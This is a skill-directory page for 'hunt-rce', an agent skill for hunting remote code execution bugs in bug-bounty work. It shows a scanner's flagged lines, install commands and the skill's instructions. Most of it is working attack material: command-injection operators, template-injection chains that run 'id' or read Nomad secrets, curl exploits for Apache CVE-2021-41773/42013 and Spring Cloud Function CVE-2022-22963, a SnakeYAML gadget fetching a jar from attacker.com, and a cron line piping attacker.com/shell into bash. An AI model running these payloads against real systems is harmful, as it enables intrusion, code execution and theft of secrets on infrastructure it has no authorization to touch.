hunt-rce skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when hunting rce on any target.

D40/100content scan

Is the hunt-rce skill safe?

Serious findings: read the flagged lines first. We read 1 file in the folder on 2026-09-28.

highSKILL.md:154
Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.
```
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
```
highSKILL.md:238
Downloads a script and runs it in one step, so what runs is whatever that server sends that day. Common for installers, and still worth a look at the address.
```
* * * * * root curl http://attacker.com/shell | bash
```

Install the hunt-rce skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. Read the findings above first.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-rce ~/.claude/skills/hunt-rce

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Autonomous Testing Priority

Content-type is the #1 silent failure mode for command injection.

Traditional web forms use Content-Type: application/x-www-form-urlencoded. If you send a JSON body ({"host":"127.0.0.1;id"}) to a form endpoint, the server reads request.form['host'] and gets nothing — the app executes normally with no injection, returning a plausible 200 response. You get a false negative with no indication anything went wrong.

Rule: If the page has an HTML form (), use form-encoding. If the path is /api/... or the response is JSON, use JSON.

Command injection operators to try (in order of prevalence):

value;id        ← Unix semicolon (most common)
value|id        ← pipe
value&&id       ← AND
value$(id)      ← subshell
value`id`       ← backtick

Proof: OS command output (uid=N(username) gid=...) in the response body confirms code execution. The output may be HTML-wrapped — that still counts. If the response is otherwise normal (200, expected content) with the command output appended or embedded, exploitation is confirmed.

Crown Jewel Targets

RCE vulnerabilities command the highest payouts in bug bounty programs because they grant attackers direct execution control over target infrastructure. The highest-value targets are:

Highest-paying asset types:

Enterprise server products (GitHub Enterprise Server, self-hosted GitLab) — privilege escalation chains from low-privileged console roles to root SSH access consistently pay critical/high
Supply chain / package registries — dependency confusion attacks against npm, PyPI, etc. hit critical severity across every major program
Cloud-native infrastructure — exposed Kubernetes API servers, ingress controllers, and misconfiqured CI/CD pipelines
Mobile app backends and OAuth flows — where server-side processing of attacker-controlled data meets execution contexts
Admin/management consoles — template injection in configuration panels reaches root with a single payload

Why this class pays most:

Blast radius is infrastructure-wide, not user-scoped
Proof-of-concept is unambiguous — shell output is undeniable
Fix requires architectural changes, not just a patch
Programs cannot afford false negatives on RCE

Attack Surface Signals

URL Patterns

/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=

Response Headers / Tech Stack Signals

X-Powered-By: Express          # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx)  # Kubernetes ingress — path field injection
X-Runtime: Ruby                # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version    # GHAS — nomad template, collectd, syslog-ng injection

JavaScript / Frontend Signals

// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled  // URL scheme bypass → JS execution

Tech Stack Signals

Step-by-Step Hunting Methodology

Map the execution contexts first. Before testing payloads, identify everywhere user-controlled input touches an execution layer: template engines, shell commands, YAML parsers, file paths used in operations, package resolution, and configuration files.

Enumerate admin/management interfaces. Crawl for /management-console, /admin, /_internal, /setup, /config. These surfaces are lower-auth and higher-privilege — the GHES cluster produced 6 separate RCEs from one console role.

Check template injection in every config field. In any management UI that accepts free-form configuration (log destinations, notification formats, proxy settings), submit {{77}}, ${77}, <%= 7*7 %>. Look for 49 in responses, logs, or DNS callbacks.

Test YAML/XML/serialized input for code execution. Any endpoint accepting Content-Type: application/yaml or application/xml:

SnakeYAML: submit !!javax.script.ScriptEngineManager gadget
Ruby YAML: submit !ruby/object:Gem::Installer gadget
REXML: submit billion-laughs / quadratic blowup XML

Hunt dependency confusion. For every npm/pip/gem internal package name visible in JS bundles, error messages, or package.json in public repos — register a higher-versioned package on the public registry pointing to a canary callback.

Check file path operations for traversal → execution. ActiveStorage, file upload handlers, symlink operations: submit ../../../etc/cron.d/shell as filename. Confirm write then trigger execution.

Audit Kubernetes/cloud-native surfaces. Run kubectl against any exposed API server. Check ingress annotations, especially nginx.ingress.kubernetes.io/configuration-snippet and spec.rules.http.paths.path for Lua/regex injection.

Test OAuth redirect URI and URL scheme handlers. Mobile apps processing javascript: or intent:// URIs via OAuth redirect may execute JavaScript. Try javascript:alert(document.cookie) and custom scheme URIs.

Verify with out-of-band callbacks. Never rely solely on visible output. Use Burp Collaborator, interactsh, or canarytokens.org DNS tokens. Blind RCE is common in backend processors.

Chain privileges. A low-severity misconfiguration (editor role, CSRF, path traversal) combined with an RCE primitive equals critical. Always ask: "what can I reach from here?"

Payload & Detection Patterns

Template Injection Probes

# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}

Apache HTTP Server alias path traversal (CVE-2021-41773 / CVE-2021-42013)

Path normalization bug in Apache 2.4.49 (and the 2.4.50 patch-bypass) lets an attacker escape DocumentRoot via dot-encoded segments through configured alias paths. The same primitive yields very different impact depending on which alias accepts the traversal:

Alias without Options +ExecCGI (e.g. /icons/) → arbitrary file read only
Alias with Options +ExecCGI (e.g. /cgi-bin/) → arbitrary code execution

Version fingerprint:

curl -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched:    Apache/2.4.51+

File-read test (any alias):

curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default

RCE test (cgi-enabled alias only):

curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Triage discipline note: when the same path-traversal primitive works on multiple aliases but only one is CGI-enabled, the maximum impact is the severity — not the average. A "file read" finding on /icons/ should always be escalated by re-probing /cgi-bin/ (and any other alias visible from blocks in the server-info disclosure or response patterns). See triage-validation Pre-Severity Gate.

Spring Cloud Function SpEL injection (CVE-2022-22963)

Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6) evaluates the spring.cloud.function.routing-expression header as a SpEL expression on the /functionRouter endpoint without auth, before any routing logic. Wide deployment in AWS Lambda + Cloud Run + on-prem function platforms. Often exposed externally because /functionRouter auto-registers and devs don't add an explicit gate.

Detection:

Spring-style port 8080 with /uppercase, /lowercase, or arbitrary single-word function endpoints responding 200
Confirm with curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test" → returns TEST
Version banner via /actuator/info or response headers

Exploit:

curl -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"

The new String[]{"...", "..."} array form avoids shell-quoting issues that break the more common .exec("id") form when the SpEL header contains parentheses or quotes.

Generalizes to: any Spring application that takes user input into a SpelExpressionParser.parseExpression() call, especially when delivered via header / query-param routes that bypass normal auth filters. See hunt-ssti for the broader SpEL fingerprinting ({77} = Spring Thymeleaf).

SnakeYAML RCE Gadget

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/exploit.jar"]
  ]]
]

Ruby YAML / rdoc_options RCE

--- !ruby/object:Gem::Installer
i: x

Dependency Confusion Detection

# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null

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